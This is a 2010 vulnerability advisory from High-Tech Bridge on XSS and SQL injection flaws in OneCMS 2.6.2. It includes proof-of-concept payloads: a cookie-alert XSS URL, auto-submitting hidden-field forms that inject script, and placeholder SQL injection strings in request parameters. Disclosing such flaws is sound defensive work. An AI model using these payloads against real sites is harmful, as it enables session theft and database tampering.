Multiple Vulnerabilities in OneCMS
| Advisory ID: | HTB22432 |
| Product: | OneCMS |
| Vendor: | Insane Visions |
| Vulnerable Versions: | 2.6.2 and probably prior |
| Tested Version: | 2.6.2 |
| Advisory Publication: | June 10, 2010 [without technical details] |
| Vendor Notification: | June 10, 2010 |
| Public Disclosure: | June 24, 2010 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89] |
| Risk Level: | High |
|  |
| CVSSv2 Base Scores: | 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in OneCMS which could be exploited to perform cross-site scripting and SQL injection attacks.
1) Cross-site scripting (XSS) vulnerabilities in OneCMS
The vulnerability exists due to input sanitation error in the "cat" and "Short1" parameters in admin/admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is login-in and has access to administrative interface.
Exploitation examples:
http://example.com/admin/admin.php?cat=cheats%22%3E%3Cscript%3Ealert%28docum ent.cookie%29%3C/script% 3E
<form action="http://example.com/admin/admin.php?view=manage&edit=2" method="post" name="main" >
<input type="hidden" name="id[]" value="1" />
<input type="hidden" name="cat_1" value="news" />
<input type="hidden" name="name_1" value="OneCMS News title" />
<input type="hidden" name="lev_1" value="No" />
<input type="hidden" name="Full1" value="news full text" />
<input type="hidden" name="systems1" value="" />
<input type="hidden" name="games1" value="" />
<input type="hidden" name="Short1" value='short"><script>alert(document.cookie)</script>' />
<input type="hidden" name="image1" value="" />
<input type="hidden" name="Add" value="Submit Changes" />
</form>
<script>
document.main.submit();
</script>
2) SQL injection vulnerabilities in OneCMS
2.1 The vulnerability exists due to input sanitation error in the "id" parameter in index.php. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://host/index.php?load=af&view=click&id=3'+any sql
2.2 The vulnerability exists due to input sanitation error in the "search" parameter in search.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
<form action="http://example.com/search.php?view=forums" method="post" name="main" >
<input type="hidden" name="search" value="1+any sql" />
</form>
<script>
document.main.submit();
</script>
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Solution: |
| Upgrade to the most recent version |
| |
References: |
[1] High-Tech Bridge Advisory HTB - https://www.immuniweb.com/advisory/HTB -
[2] OneCMS - onecms.net - OneCMS is a content management system that allows you to easily manage content, games, forums via the built in software, custom fields, custom categories etc.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
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